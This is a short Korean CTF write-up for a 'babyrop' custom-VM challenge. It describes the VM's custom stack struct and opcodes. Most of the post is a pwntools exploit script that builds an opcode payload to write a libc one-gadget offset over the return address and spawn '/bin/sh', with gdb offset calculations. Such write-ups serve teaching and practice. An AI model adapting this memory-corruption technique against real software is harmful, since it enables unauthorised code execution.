쉬운 custom vm
문제다.
custom stack
을 이용하여 연산들을 쭉쭉 하는데 stack
에 존재하는 변수에 custom stack
을 만들어서 연산을 쭉쭉 한다.
딱 봐도 ret
opcode
분석들만 해주고 바로 onegadget
으로 쉘따면 됩니다.
00000000 custom_stack struc ; (sizeof=0x14, mappedto_6)
00000000 stack dq ?
00000008 stack_50 dq ?
00000010 length dd ? ; base 2
00000014 custom_stack ends
커스텀 스택은 요로코롬 생겼고
이런식으로 opcode
들을 쭉쭉 분석해주면 된다.
from pwn import *
#context.log_level= 'debug'
e = ELF('babyrop')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc-2.23.so', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
gdb-peda$ p/x 0x7ffff7afe147-0x7ffff7a2d830
$20 = 0xd0917
gdb-peda$ p/x 0x7ffff7afd2a4-0x7ffff7a2d830
$21 = 0xcfa74
gdb-peda$ p/x 0x7ffff7a5226a-0x7ffff7a2d830
$22 = 0x24a3a
gdb-peda$ p/x 0x7ffff7a52216-0x7ffff7a2d830
$23 = 0x249e6
"""
pay = chr(0x28)*2 # POP10 * 2
pay += chr(0x56) + p32(0) # MOV 0
pay += chr(0x34)*2 # COPY * 2
pay += chr(0x56) + p32(0x24a3a) # MOV 0x24a3a[onegadget offset]
pay += chr(0x21) # ADD
pay += chr(0x34)*5 # COPY * 5
sl(pay)
io()
'system > writeup' 카테고리의 다른 글
pwnable.tw printable (0) | 2019.12.20 |
---|---|
2019 d3ctf lonely_observer (0) | 2019.12.16 |
2019 d3ctf ezfile (0) | 2019.12.15 |
2019 holyshield babyheap (0) | 2019.12.04 |
2018 0ctf final baby (0) | 2019.12.03 |